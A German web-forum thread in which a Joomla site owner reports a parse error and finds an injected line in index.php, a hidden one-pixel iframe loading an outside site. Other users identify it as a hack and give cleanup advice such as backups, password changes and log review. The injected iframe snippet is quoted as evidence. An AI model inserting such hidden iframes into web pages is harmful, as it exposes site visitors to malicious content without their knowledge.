Joomla Seite nicht mehr erreichbar: Parse Error

bonn · 05.02.2011

Hallo,
ich wollte heute an meiner Homepage (geperrter Modus in Joomla) wieder weiterarbeiten,
doch ich kann die Startseite nicht mehr aufrufen. Es kommt folgende Fehlermeldung:

Parse error: syntax error, unexpected '<' in /users/bonn/www/index.php on line 88

Mir ist beim Betrachten der Zeile 88 aufgefallen, dass dort ein mir unbekannter neuer Eintrag eines iframes sich befindet.
Der Code der Zeile:

Code:

echo  JResponse::toString($mainframe->getCfg('gzip'));<html><body><iframe  src="http://zxstats.com/" width="1" height="1"  frameborder="0"></iframe></body></html>

Wurde meine Seite gehackt?
Was ist passiert? Was soll ich tun?
Ich habe in den letzten 3 Wochen nichts geändert.
Bisher konnte mir noch absolut niemand helfen, daher wende ich mich an euch.
Danke für die Hilfe

Samuelll · 05.02.2011

AW: Joomla Seite nicht mehr erreichbar: Parse Error

Der Fehler selbst sagt erstmal nur, dass im Code ein "<" zuviel steht.

Ein IFrame klingt durchaus nach einem Hack.

Wenn du im Netz nach Joomla gehackt suchst, wirst du genug detailierte Anleitungen finden, wie vorzugehen ist.

Kurz gefasst ist folgendes Sinnvoll :

Datenbank und Webspace erstmal sichern (kopieren) und dann löschen.

Passwort für FTP und ggf. auch den Account beim Hoster ändern.

Den Hoster informieren und in den Logs schauen, ob und wo der Angreifer in die Seite hinein gekommen ist. Ab diesem Punkt kann man sehr viel Aufwand treiben und versuchen alte Inhalte zu retten.
Ist die Seite klein, kann man sie aber auch einfach neu wieder aufbauen.

Im Zweifel hilft ein Profi sicher weiter, was aber dann nicht günstig ist.

sppopeid · 05.02.2011

AW: Joomla Seite nicht mehr erreichbar: Parse Error

Wenn ich versuche, deine Seite zu erreichen, wird sie mir als attackierend gemeldet.

bonn · 05.02.2011

AW: Joomla Seite nicht mehr erreichbar: Parse Error

Mmmh als attackierend gemeldet? Ich hab die Seite schon vom Netz genommen, per htacess vom Zugriff geschützt, nun ist auch noch der Server deaktiviert. Man kann die Domain also eigentlich gar nicht mehr erreichen. Wieso wird sie dann aber als verseucht gemeldet? Ratlos.
Wie bekomme ich heraus, sobald ich meine Sicherung wieder aufspiele wo die Lücke war, bzw. was ich verändern sollte?
Habe mir bisher eigentlich Mühe gegeben Sicherheit zu gewährleisten u.a. durch diverse Tipps und speziellen Extensions für Joomla.

Samuelll · 05.02.2011

AW: Joomla Seite nicht mehr erreichbar: Parse Error

Das BackUp solltest du erst wieder hochladen, wenn die Lücke sicher geschlossen wurde, also das BackUp "repariert" hast.

Sofern die Joomlainstallation und alle Extensions aktuell sind, und es keine bekannten Sicherheitslücken für diese gibt, ist der Server-Log die nächste Anlaufstelle.

Entsprechend hier nochmal der Verweis auf diverse Joomla-Community-Foren, wie zB joomla.os wo du zu dem Thema sicherlich mehr findest.